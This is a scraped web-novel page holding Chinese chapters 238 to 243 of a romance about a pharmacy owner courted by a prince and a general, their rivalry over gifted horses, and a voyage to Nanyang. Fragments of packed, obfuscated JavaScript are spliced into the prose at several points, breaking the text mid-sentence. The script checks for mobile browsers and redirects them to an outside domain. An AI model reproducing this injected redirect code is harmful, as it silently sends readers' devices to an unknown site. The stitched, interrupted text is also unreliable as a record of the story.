l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204638|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不是给你带了个好东西吗?顾云霁拍了拍马背,这匹马是西域的良驹,日行千里不在话下。想着你经常要到处跑,有匹好马会方便很多。 姜绾歌围着马转了一圈,伸手摸了摸马的鬃**。这匹马确实不错,体型健壮,四肢修长,一双马眼炯炯有神,明显经过精心调教。 这马不错,她点点头,不过王爷,无功不受禄,这么贵重的东西,我可不能收。 什么无功不受禄?顾云霁摇着折扇,前些日子海商**,你帮了本王不少忙。这匹马就当是谢礼了。 那也太贵重了。姜绾歌摆手,王爷的心意我领了,但这马我真不能要。 为什么不能要?顾云霁挑眉,难道姜老板看不上这匹马? 不是看不上,是用不着。姜绾歌实话实说,我一个开药铺的,要这么好的马干什么?又不是要上战场。 话不能这么说,顾云霁劝道,有匹好马,出门办事方便多了。而且你看这马多漂亮,骑出去多有面子。 面子?姜绾歌冷笑,老娘要面子干什么?能当饭吃吗? 正在两人说话的时候,院门外又传来急促的马蹄声。这次的声音明显比刚才重多了,听起来像是重型战马的步伐。 得得得—— 马蹄声越来越近,震得院子里的鸡鸭都四散奔逃。 什么人这么着急?姜绾歌皱眉,朝门口看去。 话音刚落,厉战霆就骑着一匹黑色的高头大马冲了进来。那匹马通体乌黑,没有一根杂**,体型比顾云霁的马还要大一圈,四蹄踏地发出沉闷的响声,一看就是久经战阵的战马。 绾歌!厉战霆在马上大声喊道,我给你带了个好东西! 他翻身下马,拍了拍马背,得意地说道:这是我的汗血宝马,日行千里,夜行八百!比什么西域良驹都要快! 说完,他瞥了一眼旁边的枣红马,眼中闪过一丝不屑。 你的马确实不错。顾云霁淡淡地说道,不过论血统,还是西域良驹更纯正一些。 第238章 两个男人的攀比 纯正?厉战霆冷笑,我这匹马可是真正的汗血宝马,祖宗八代都是名马!你那匹充其量就是个杂种! 杂种?顾云霁眯起眼睛,厉将军,说话要凭良心。这匹马是西域王子的坐骑,怎么可能是杂种? 管他什么王子不王子的,厉战霆不屑地说道,我的马跑得更快! 姜绾歌看着两个大男人为了马匹争论不休,忍不住翻了个白眼。 我说你们两个,她没好气地说道,马是好马,但我又不参加赛马,要这么快的马干什么? 怎么不需要?厉战霆着急地说道,绾歌,你经常要到处采药,有匹好马多方便! 采药?姜绾歌瞪了他一眼,将军是想让我骑着马去采药?药材又不是在马背上长的! 那……那你总要出门办事吧?厉战霆有些语塞。 出门办事用马车就行了,要什么战马?姜绾歌理所当然地说道,再说了,我一个女人家,骑着战马在街上跑,像什么话? 这……厉战霆被说得哑口无言。 顾云霁在一旁看着,忍不住笑了起来。 厉将军,你这想法倒是很特别。他摇着折扇,语带讥讽,让姜老板骑着战马去采药,亏你想得出来。 你笑什么?厉战霆脸红了,我这是关心绾歌! 关心?顾云霁继续煽风点火,姜老板,良驹配佳人,将军这是怕你被狼叼走呢。 狼叼走?姜绾歌气得够呛,老娘像那种手无缚鸡之力的弱女子吗? 她转身走到药房里,拿出一根粗大的药杵,在手中掂了掂。 再废话,给你们俩都喂巴豆!她挥舞着药杵,恶狠狠地说道,让你们拉到腿软! 别别别!两个男人同时举手投降。 绾歌,我们不是那个意思……厉战霆连忙解释。 不是什么意思?姜绾歌怒气冲冲地问道,一个送马,一个也送马,你们是把老娘当猴耍呢? 我们哪敢啊!顾云霁苦笑,我们只是想…… 想什么?姜绾歌打断他,想显摆你们有钱?想证明你们的马比对方的好?老娘告诉你们,这种幼稚的把戏,三岁小孩都看得出来! 两个男人面面相觑,都有些尴尬。 姜老板说得对,顾云霁首先认错,是我们想得不周。 对,对,是我们不对。厉战霆也连忙道歉,绾歌,你别生气。 生气?姜绾歌冷笑,老娘气什么?好笑还来不及呢! 她把药杵往桌上一扔,发出咣当一声响。 你们两个大男人,为了比马较劲,跟小孩子抢糖吃有什么区别?她继续数落道,有这个时间,不如想想怎么做点正经事! 那……那我们的马……厉战霆小心翼翼地问道。 马是好马,但老娘用不着!姜绾歌毫不客气地说道,你们爱送给谁就送给谁,别来烦我! 可是……厉战霆还想说什么,被姜绾歌瞪了一眼,立刻闭嘴了。 可是什么?姜绾歌没好气地说道,你们要真想帮我,就帮我想想怎么把醉仙楼的生意做得更好,别整天想这些有的没的! 那……那我们能帮什么忙?顾云霁问道。 帮什么忙?姜绾歌想了想,你们一个是王爷,一个是将军,手下肯定有不少人。让他们都来醉仙楼吃饭,不就是帮忙了吗? 这个简单!厉战霆立刻拍胸脯保证,我明天就带我的兵来吃饭! 我也一样。顾云霁点头,本王府里的人,以后都去醉仙楼用餐。 这还差不多。姜绾歌满意地点头,比送什么劳什子马实用多了。 三人正说着话,院门外忽然走进来一个普通打扮的中年男子。这人看起来像是个路人,但走路的姿态却很有章法,明显是练过武的。 这位客官,有什么需要帮助的吗?阿福迎了上去。 我找姜大夫看病。那人说道,声音很平常,但眼神却在不停地观察着院子里的情况。 姜绾歌心中警觉,这人明显不是普通的病人。 什么病?她问道。 胃疼。那人答道。 胃疼?姜绾歌打量着他,疼多久了? 三天了。那人回答。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204639|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里疼?姜绾歌继续问。 这里。那人指着胸口。 姜绾歌心中冷笑,胃疼指胸口?这人明显是在撒谎。 阿福,给这位客官开点胃药。她吩咐道,记得多收点诊金。 是,东家。阿福应道。 那人拿了药后就离开了,但姜绾歌注意到,他离开时回头看了好几眼。 绾歌,刚才那人有问题。厉战霆压低声音说道,我看他不像是来看病的。 我也觉得。顾云霁点头,那人的眼神一直在观察我们。 管他呢,姜绾歌不在意地说道,反正药钱收了,他爱干什么干什么。 但她心中却在思考着,这人到底是什么来头?是来打探消息的,还是有别的目的? 对了,你们两个的马,真的不要了?厉战霆不死心地问道。 不要!姜绾歌坚决地说道,老娘说过多少遍了,用不着! 那……那我们怎么办?厉战霆有些为难。 怎么办?姜绾歌冷笑,你们自己牵回去呗!难道还要我养着不成? 绾歌,你就收下吧。厉战霆苦苦哀求,就当是给醉仙楼添个装饰也好啊。 装饰?姜绾歌愣了一下,马当装饰? 对啊,厉战霆急中生智,客人们看到门口拴着这么好的马,肯定觉得醉仙楼档次很高。 这倒是个想法。姜绾歌摸着下巴思考,不过两匹马太多了,一匹就够了。 那要哪匹?两人同时问道。 这个嘛……姜绾歌故意拖长声音,让我想想…… 她围着两匹马转了一圈,最后指着厉战霆的黑马说道:就这匹吧,看起来比较威武。 太好了!厉战霆兴奋得跳了起来,绾歌,你终于收下我的礼物了! 顾云霁的脸色有些难看,但还是强撑着笑容说道:既然姜老板喜欢,那就好。 别高兴得太早,姜绾歌冷冷地说道,这马我只是借用,不是要了。 借用?厉战霆不解。 对,借用。姜绾歌点头,等我不需要了,还是要还给你的。 第239章 药材被垄断 那……那什么时候还?厉战霆小心地问道。 等老娘高兴了就还。姜绾歌理所当然地说道。 厉战霆和顾云霁都被这个答案弄得哭笑不得。 远处的屋顶上,一个黑衣人正在暗中观察着这一切。他看着院子里三个人的互动,眼中闪过一丝复杂的神色。 有意思,他喃喃自语,这女人倒是很会处理男人之间的争风吃醋。 他悄悄离开了,准备回去禀报他看到的一切。 而院子里的三人还在继续着他们的战争。 绾歌,你真的不要我的马?顾云霁还在做最后的努力。 不要!姜绾歌斩钉截铁地说道,一匹就够了,两匹太招摇。 那好吧。顾云霁无奈地叹了口气,看来本王的马没有缘分了。 别这么说,姜绾歌安慰道,王爷的马也很好,只是我真的用不着。 算了,顾云霁摇头,本**白姜老板的意思。 看着顾云霁有些失落的样子,姜绾歌心中也有些不忍。但她知道,如果同时收下两人的礼物,只会让他们的争斗更加激烈。 行了,你们两个别在这里杵着了,她挥手赶人,该干什么干什么去,别耽误我工作。 那我们走了。厉战霆依依不舍地看了一眼自己的马,绾歌,你要好好照顾它。 知道了,知道了。姜绾歌不耐烦地说道,快走吧! 两人离开后,院子里终于安静下来。姜绾歌看着那匹黑马,心中却在想着别的事情。 她知道,这两个男人之间的争斗还远没有结束。而她,就像是被夹在中间的那根绳子,稍不小心就会被拉断。 但她也知道,这种微妙的平衡,恰恰是她在这个时代生存的关键。 不远处,那个黑衣人已经回到了一处隐蔽的院落。 如何?一个威严的声音问道。 回禀主子,黑衣人跪在地上,姜老板好像……更开心了。 更开心?那个声音有些意外,为什么? 属下看到,王爷和将军为了送马的事情争执不下,姜老板在一旁看得很有趣。黑衣人如实禀报,她虽然嘴上训斥他们,但眼中却带着笑意。 有趣。那个声音沉吟了片刻,看来这女人,还真是不简单。 十二月的京城,朔风呼啸,雪花纷飞。姜绾歌坐在杏林堂的账房里,面前摆着一叠厚厚的账册,眉头紧锁,脸色阴沉得像要下雨。 东家,漠北那边又来消息了。石头推门而入,手中拿着一封信,药材的价格又涨了。 姜绾歌接过信件,快速浏览了一遍,脸色更加难看。 该死的!她狠狠地拍了一下桌子,茶盏都震得跳了跳,这帮王八蛋,竟然敢坐地起价! 信上写得很清楚,漠北的几个主要药材商突然联合起来,不仅大幅提高了药材价格,还限制了供应量。原本一两银子能买到的药材,现在要三两银子,而且还不一定能买到。 东家,这是怎么回事?阿福在一旁担心地问道,以前那些药商不是对咱们挺客气的吗? 客气个屁!姜绾歌咬牙切齿,这明摆着是有人在背后搞鬼! 她在房间里来回踱步,脑中快速分析着这件事的来龙去脉。漠北的药商们突然联合起来,这绝不是偶然。肯定有什么势力在背后操控,想要断掉她的药材供应链。 妈的,太子余党!她忽然想起什么,肯定是那帮不死心的混蛋在搞鬼! 她记得前段时间陈墨提到过,太子余党虽然表面上被清剿了,但实际上还有不少人潜伏在暗处,时刻准备着卷土重来。现在看来,他们是想通过控制药材供应来打击她的生意。 东家,那咱们怎么办?石头问道,总不能坐以待毙吧? 坐以待毙?姜绾歌冷笑,老娘什么时候坐以待毙过? 她走到墙边,拿下悬挂着的一张大地图。这是她让人绘制的商路图,上面标注着各个地方的药材产地和商路。 你们看,她指着地图南边的一片海域,漠北的药材断了,咱们可以去南洋! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204640|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南洋?阿福瞪大眼睛,东家,那可是海外啊! 海外怎么了?姜绾歌理所当然地说道,南洋那边也有药材,而且种类更丰富。咱们何必吊死在漠北这一棵树上? 她的手指在地图上滑动,指着几个岛屿:你们看,这里有血竭,这里有檀香,这里有胡椒和丁香。这些东西在京城都是抢手货,利润比漠北的药材还要高! 可是,东家,石头担心地说道,去南洋路途遥远,而且海上风险很大。咱们又没有船…… 没有船就找有船的人!姜绾歌打断他,老娘就不信了,这京城里还找不到一条船! 说完,她披上厚厚的斗篷,大步走出了杏林堂。 一个时辰后,她来到了顾云霁的王府。 姜老板,这大冬天的,什么风把你吹来了?顾云霁穿着一件厚厚的狐裘,手中拿着暖手的小炉子,慵懒地靠在榻上。 王爷,我需要你的帮助。姜绾歌开门见山,我要去南洋,需要船。 南洋?顾云霁挑眉,姜老板这是要远征啊? 不是远征,是做生意。姜绾歌简单地解释了一下漠北药材被控制的情况,所以我决定开辟南洋药路。 原来如此。顾云霁点头,太子余党的手段,倒是挺阴损的。 所以王爷能帮忙吗?姜绾歌直接问道。 当然可以。顾云霁毫不犹豫地答应,本王有几艘战船,正好可以用上。 战船?姜绾歌愣了一下,王爷有战船? 怎么,很奇怪吗?顾云霁笑道,本王虽然不是将军,但也有自己的一些产业。这些战船平时用来护送商船,现在正好派上用场。 那太好了!姜绾歌高兴地说道,什么时候可以出发? 这个嘛……顾云霁想了想,起码要等到开春。现在是冬天,海上风浪太大,不适合远航。 开春?姜绾歌皱眉,那不是还要等两个月? 没办法,安全第一。顾云霁摊手,姜老板,你总不希望船还没到南洋,就先沉到海里吧? 第240章 海盗 那倒也是。姜绾歌点头,那就等开春。 正说着话,门外传来急促的脚步声。厉战霆大步走了进来,脸上带着怒气。 绾歌!我听说漠北的药商为难你了?他一进门就大声问道,是哪个不长眼的敢动你的货? 厉将军消息倒是灵通。姜绾歌苦笑,不过不是一个人,是一群人。 一群人?厉战霆更加愤怒,该死的!敢动我绾歌的生意,活得不耐烦了! 所以我准备去南洋开辟新的药路。姜绾歌解释道。 南洋?厉战霆皱眉,那地方危险得很,你一个女人家去那里…… 怎么了?姜绾歌瞪他一眼,女人家就不能去南洋了? 不是不能去,是太危险了!厉战霆着急地说道,海上有海盗,南洋有毒虫,万一出点什么事…… 所以我才找了云霁王爷帮忙。姜绾歌指了指顾云霁,他有战船。 战船?厉战霆看向顾云霁,你要派船送她去南洋? 没错。顾云霁点头,姜老板的生意,本王当然要支持。 那我也去!厉战霆毫不犹豫地说道,本将亲自护送! 你去?姜绾歌愣了一下,你不用守边境了? 边境有副将守着,没问题。厉战霆拍着胸脯说道,保护你比守边境重要! 这……姜绾歌有些为难,厉将军,你的好意我心领了,但真的不用…… 必须用!厉战霆打断她,绾歌,我不能让你一个人去那么危险的地方。 她不是一个人,还有我呢。顾云霁在一旁说道。 你?厉战霆不屑地说道,你一个文弱书生,能保护谁? 文弱书生?顾云霁眯起眼睛,厉将军,你这话说得有些过分了。 有什么过分的?厉战霆理直气壮,你会武功吗?你会打仗吗? 我虽然不会打仗,但我有脑子。顾云霁反击道,总比某些只会用拳头的莽夫强。 你说谁是莽夫?厉战霆怒了。 我说的是莽夫,没说是你。顾云霁淡淡地说道,不过如果你要对号入座,我也没办法。 你们两个够了!姜绾歌不耐烦地说道,有这时间吵架,不如想想怎么准备。 准备什么?厉战霆问道。 伪装。姜绾歌说道,咱们不能大张旗鼓地去南洋,得装成商队。 伪装?厉战霆不解,为什么要伪装? 因为靖王余党的眼线到处都是。姜绾歌解释道,如果让他们知道我们去南洋开辟药路,肯定会想办法阻挠。 那怎么伪装?顾云霁问道。 很简单,姜绾歌说道,你们都换成商人的打扮,我们就说是去南洋做丝绸生意。 我换成商人?厉战霆指着自己,我一个将军,怎么扮商人? 将军穿铠甲太显眼,换身布衣。姜绾歌理所当然地说道,反正就是普通的商人打扮,有什么难的? 可是……厉战霆还想说什么,被姜绾歌瞪了一眼,立刻闭嘴了。 就这么定了。姜绾歌拍板,开春之后,咱们就出发。 一个月后,春暖花开,海风温和。 一支看起来普通的商队从京城出发,沿着官道一路向南。商队里有十几个人,为首的是一个穿着青布袍子的年轻女子,旁边跟着两个看起来像是护卫的男子。 这三个人正是姜绾歌、厉战霆和顾云霁。 厉战霆穿着一身粗布衣服,看起来像个普通的护卫,但那股子军人的气质却怎么也掩饰不住。他不时地环顾四周,手总是不自觉地摸向腰间,仿佛那里应该有把刀。 厉将军,别这么紧张。姜绾歌小声说道,咱们现在是商人,不是军队。 我知道,厉战霆压低声音,但这种感觉很奇怪。 习惯就好了。顾云霁在一旁说道,他倒是很适应这种伪装,其实做商人也挺有意思的。 有什么有意思的?厉战霆不解。 至少比天天打仗有意思。顾云霁摇着扇子,而且赚钱的感觉,比杀敌的感觉更爽。 赚钱比杀敌爽?厉战霆瞪大眼睛,你这想法太奇怪了。 有什么奇怪的?姜绾歌插话道,钱能买到很多东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204641|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌人的命能买到什么? 这……厉战霆被说得哑口无言。 就在这时,前面的探路人员匆匆跑了回来。 老板!前面有情况!那人气喘吁吁地说道,海上有海盗船! 海盗?姜绾歌皱眉,多少人? 看起来有二十多个,船上还有大炮。那人回答。 大炮?厉战霆眼睛一亮,有意思! 你兴奋什么?姜绾歌没好气地说道,咱们是来做生意的,不是来打仗的。 可是他们要是不让咱们过去怎么办?厉战霆问道。 那就只能硬来了。姜绾歌叹了口气,希望不要闹出人命。 放心,厉战霆拍着胸脯保证,我会手下留情的。 很快,海盗船就出现在他们面前。船上的海盗们个个凶神恶煞,手中拿着各种武器,为首的是一个满脸横肉的大汉。 站住!海盗头子大声喊道,此路是我开,此树是我栽!要想从此过,留下买路财! 买路财?姜绾歌冷笑,多少钱? 不多,海盗头子狞笑着说道,一千两银子! 一千两?姜绾歌装作吃惊的样子,大哥,你这也太贵了吧? 贵?海盗头子冷笑,嫌贵就别走这条路! 那不行,姜绾歌摇头,我们是做生意的,必须要过去。 做生意?海盗头子打量着他们,做什么生意? 丝绸生意。姜绾歌如实回答。 丝绸?海盗头子眼睛一亮,那更好了!丝绸比银子值钱! 大哥,你看这样行不行,姜绾歌商量道,我们给你五百两,你让我们过去? 五百两?海盗头子摇头,不够!起码八百两! 八百两太多了。姜绾歌继续砍价,六百两,不能再多了。 不行!海盗头子坚持,八百两,一文不少! 七百两,最后价格。姜绾歌做出最后努力。 不行!海盗头子恼怒了,你们是诚心跟我作对!兄弟们,给我上! 话音刚落,海盗们就挥舞着武器冲了过来。 第241章 秘方 妈的!厉战霆终于忍不住了,敬酒不吃吃罚酒! 他一个箭步冲上前去,还没等海盗头子反应过来,就一拳狠狠地砸在了他的面门上。 砰! 海盗头子应声倒地,直接晕了过去。 头儿!其他海盗们大惊。 还有谁?厉战霆活动着拳头,看向其他海盗。 海盗们看着倒在地上的头儿,再看看厉战霆那凶悍的样子,顿时吓得不敢动弹。 没人了?厉战霆有些失望,我还以为能打一架呢。 打什么架?姜绾歌走过来,蹲在海盗头子身边,伸手摸了摸他的脉搏,还活着。 她又检查了一下海盗头子的伤势,点点头:嗯,力道够猛,适合练铁砂掌。 铁砂掌?厉战霆愣了一下,绾歌,你在说什么? 没什么,姜绾歌站起身,就是觉得你这一拳打得不错。 顾云霁在一旁看着这一幕,忍不住扶额叹息:我好像带了个医疯子出海。 医疯子?姜绾歌瞪他一眼,你说谁是疯子? 没说谁,顾云霁连忙摆手,我是说……你这研究精神很值得佩服。 这还差不多。姜绾歌满意地点头,行了,咱们继续上路。 那这些海盗怎么办?厉战霆问道。 绑起来扔海里喂鱼。姜绾歌毫不在意地说道。 啊?厉战霆愣住了,绾歌,你不是说不要闹出人命吗? 我开玩笑的。姜绾歌白了他一眼,把他们扔到无人岛上就行了,让他们自己想办法回去。 这样也好。厉战霆点头。 很快,海盗们就被处理完毕,商队继续前行。 绾歌,厉战霆好奇地问道,你刚才说我适合练铁砂掌,什么意思? 就是字面意思。姜绾歌解释道,你的拳头很硬,力道很猛,天生就适合练这种功夫。 真的?厉战霆兴奋了,那你能教我吗? 我为什么要教你?姜绾歌反问。 因为……因为我保护你啊。厉战霆理直气壮地说道。 保护我?姜绾歌冷笑,刚才那些海盗,还不是被你一拳就解决了?还需要什么铁砂掌? 那不一样,厉战霆认真地说道,万一遇到更厉害的敌人呢? 更厉害的敌人?姜绾歌想了想,那你就多吃点肉,把力气练大点。 这……厉战霆哭笑不得。 顾云霁在一旁听着两人的对话,忍不住摇头。这个姜绾歌,还真是个奇女子。 船队继续向南航行,目标是那遥远的南洋诸岛。 而在京城,太子余党的人正在密谋着什么。 什么?姜绾歌去南洋了?一个阴沉的声音响起。 是的,大人。手下恭敬地回答,她带着一队商船,说是去做丝绸生意。 丝绸生意?那个声音冷笑,她以为我们是傻子吗? 大人,要不要派人去追?手下问道。 不用。那个声音阴森地说道,既然她想去南洋,就让她去吧。不过……要确保她回不来。 是,大人。 经过半个月的海上航行,船队终于抵达了南洋的一处海岛。这里椰林摇曳,海风****,金色的沙滩在阳光下闪闪发光。远处的山峦郁郁葱葱,各种奇花异草散发着浓郁的香气。 姜绾歌站在船头,深深吸了一口气。这里的空气比京城清新多了,带着淡淡的花香和海腥味。 绾歌,这地方看起来不错。厉战霆走过来,他已经脱下了那身粗布衣服,换上了轻便的短打,露出结实的胳膊。 是不错,姜绾歌点头,关键是要看有没有我们需要的药材。 姜老板,这些土著看起来很友善。顾云霁指着沙滩上**的一群人,他们好像在欢迎我们。 姜绾歌顺着他的目光看去,只见沙滩上站着几十个皮肤黝黑的土著,男男女女都穿着简单的草裙,头上戴着用羽毛和花朵编成的头饰。他们手中拿着各种水果和贝壳,脸上带着善意的笑容。 看起来确实很友善。姜绾歌点头,咱们下去看看。 船队靠岸后,土著们立刻围了上来。为首的是一个年约五十的中年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204642|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子,身材高大,胸前挂着一条粗大的项链,看起来应该是这里的首领。 欢迎远方的客人!那个首领用生硬的中原官话说道,我是这里的酋长,叫做阿鲁巴。 酋长好,姜绾歌微笑着回答,我们是来自中原的商人,想要和贵部落做些生意。 做生意?酋长阿鲁巴眼睛一亮,太好了!我们这里有很多好东西! 他让族人们把各种物品拿了出来:椰子、芒果、香蕉,还有各种贝壳和珊瑚。但姜绾歌最感兴趣的,是他们拿出的一些草药。 这是什么?她指着一种红色的树脂问道。 这是血竭,酋长阿鲁巴说道,很好的药材,可以止血疗伤。 血竭?姜绾歌心中一动,这可是珍贵的药材!但她表面上依然很平静,这个多少钱? 不要钱,酋长阿鲁巴摆手,我们想要的是铁器和布匹。 这个可以商量。姜绾歌点头,心中暗喜。看来这次南洋之行,收获会很不错。 就在这时,人群中传来一阵骚动。只见族人们抬着一个担架匆匆走了过来,担架上躺着一个年轻的男子,脸色苍白,气息微弱。 酋长!王子他……一个族人急切地说道。 巴图?酋长阿鲁巴大惊,他怎么了? 被毒蛇咬了!那个族人哭道,萨满说已经没救了! 姜绾歌看了一眼担架上的年轻人,只见他的小腿上有两个明显的牙印,周围的皮肤已经开始发黑,显然**很深。 让我看看。她主动走了过去。 你?酋长阿鲁巴有些犹豫,你懂医术? 略懂一些。姜绾歌蹲在担架边,仔细观察着伤口。从毒性的扩散程度来看,这应该是眼镜蛇的毒液,如果不及时处理,确实会有生命危险。 你们有干净的刀子吗?她问道。 有,有!酋长阿鲁巴连忙让人拿来一把锋利的小刀。 姜绾歌接过刀子,先在火上烤了烤,然后开始处理伤口。她先在伤口上方扎了个止血带,然后用刀子在牙印处划了个小口,挤出毒血。 第242章 救王子巴图 快拿水来!她一边处理伤口,一边吩咐道。 族人们立刻拿来了清水,姜绾歌用水冲洗伤口,然后从怀中取出一个小瓶子,里面装着她从现代带来的抗生素。 这是什么?酋长阿鲁巴好奇地问道。解毒的药。 姜绾歌一边给王子喂药,一边说道,放心,他会没事的。 果然,不到一个时辰,王子的脸色就开始好转,呼吸也变得平稳起来。 太好了!太好了!酋长阿鲁巴激动得眼泪都出来了,神医!您真是神医! 不用客气,姜绾歌摆手,举手之劳而已。 酋长阿鲁巴拉着她的手,激动地说道:神医,您救了我儿子的命,我们该怎么报答您呢? 其实也没什么,姜绾歌装作无所谓的样子,如果酋长一定要报答的话,能不能教我血竭的提炼方法? 血竭提炼法?酋长阿鲁巴愣了一下,这个……这是我们部落的秘密。 我明白,姜绾歌点头,不过我救了王子的命,这个要求应该不算过分吧? 酋长阿鲁巴犹豫了片刻,最终还是点了点头:好吧,既然您救了巴图,我就把这个秘密告诉您。 他让族人们拿来了一些血竭原料,然后开始详细讲解提炼方法。 姜绾歌听得很认真,不时地点头,心中暗喜。 这种提炼法比她在现代学到的方法更加精妙,提炼出来的血竭纯度更高,药效也更好。 谢谢酋长!她真诚地说道,这个方法对我很有用。 不客气,酋长阿鲁巴笑道,您是我们部落的恩人。就在这时,那个被救的王子巴图悠悠转醒。他睁开眼睛,第一眼看到的就是姜绾歌的脸。 你是……他用有些沙哑的声音问道。 我是姜绾歌,她简单地介绍道,来自中原的商人。 是您救了我?王子巴图挣扎着坐起来,眼中满是感激。 对,是她救了你。酋长阿鲁巴在一旁说道,如果不是这位神医,你就…… 谢谢您!王子巴图激动地说道,您不仅救了我的命,还这么美丽! 呃……姜绾歌有些尴尬,王子过奖了。 不是过奖!王子巴图的眼中闪着亮光,我从来没有见过这么美丽的女子!他挣扎着站起来,虽然身体还有些虚弱,但眼神却很坚定。 神医,您能嫁给我吗?他突然开口,如果您嫁给我,您就是我们部落的王妃,整个岛都是您的! 什么?姜绾歌愣住了,王子,您这是…… 我是认真的!王子巴图激动地说道,从您救我的那一刻起,我就爱上您了! 他转身对族人们大声说道:去准备珍珠!把我们部落最好的珍珠都拿来! 王子……姜绾歌想要阻止,但族人们已经行动起来了。 不一会儿,他们就抬来了一个巨大的贝壳,里面装满了各种珍珠。 有白色的,有粉色的,有金色的,每一颗都有拇指大小,在阳光下闪闪发光。 这些都是我们部落的传家宝!王子巴图激动地说道,如果您嫁给我,这些都是您的!还有整个岛屿,您想要什么都可以! 王子,您的好意我心领了,姜绾歌连忙摆手,但是我……我已经有心上人了。 心上人?王子巴图失望地问道,是他吗?他指着厉战霆。 不是,不是,姜绾歌慌忙摆手,然后指着顾云霁,是他!他是我的……哥哥! 哥哥?王子巴图更加困惑了,哥哥怎么能是心上人? 不是,我的意思是……姜绾歌急得满头大汗,问他,他是我"哥哥"。 顾云霁听到这里,立刻明白了她的意思。 他快步走过来,毫不犹豫地搂住了姜绾歌的肩膀。王子,舍妹心向中原,王子还是另寻佳人吧。 他温和地说道,我们中原有句话,叫做"落叶归根",她是不会留在这里的。 原来如此。王子巴图失望地点头,既然如此,我也不勉强。 他看着姜绾歌,眼中满是不舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204643|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :神医,虽然您不能嫁给我,但这些珍珠还是请您收下吧。就当是我们部落的一点心意。 这……姜绾歌有些犹豫,这些珍珠确实很珍贵,但收下的话,会不会不太合适?收下吧,顾云霁在她耳边小声说道,拒绝的话,反而会让人家觉得你看不起他们。 那好吧,姜绾歌点头,谢谢王子的厚意。就在这时,厉战霆终于忍不住了。他看着顾云霁搂着姜绾歌的肩膀,脸色越来越难看。 她是我的!他一边说着,一边用力捏着手中的椰子。 咔嚓!椰子应声而碎,椰汁溅了一地。 厉战霆!姜绾歌瞪了他一眼,你干什么? 我……我没干什么。厉战霆有些尴尬,就是这椰子太软了。 软?顾云霁看了看地上的椰子碎片,这椰子硬得像石头,都被你捏碎了,还说软? 我……厉战霆被说得哑口无言。 王子巴图看着这一幕,忍不住笑了:看来这位勇士也很在乎神医啊。 他不是勇士,他是莽夫。顾云霁在一旁补刀,而且还是个吃醋的莽夫。 吃醋?厉战霆脸红了,我才没有吃醋! 没有吃醋为什么要捏碎椰子?顾云霁继续追问,而且还说"她是我的"? 我……厉战霆支支吾吾,说不出话来。 行了,你们两个别在这里丢人现眼了。姜绾歌没好气地说道,王子,我们还有事情要办,就先告辞了。 慢着!王子巴图叫住她,神医,您这次来是要买血竭吗? 是的。姜绾歌点头。那好,我给您最好的血竭,王子巴图说道,而且不要钱! 不要钱?姜绾歌有些意外,这怎么好意思? 您救了我的命,这些都是应该的。王子巴图认真地说道,而且,我希望您能经常来这里。 这……姜绾歌想了想,好吧,如果有机会的话,我会再来的。太好了!王子巴图兴奋地说道,我等您!酋长阿鲁巴也走了过来:神医,您什么时候走? 第243章 海上风暴 明天就走。姜绾歌说道,我们还要去别的地方。 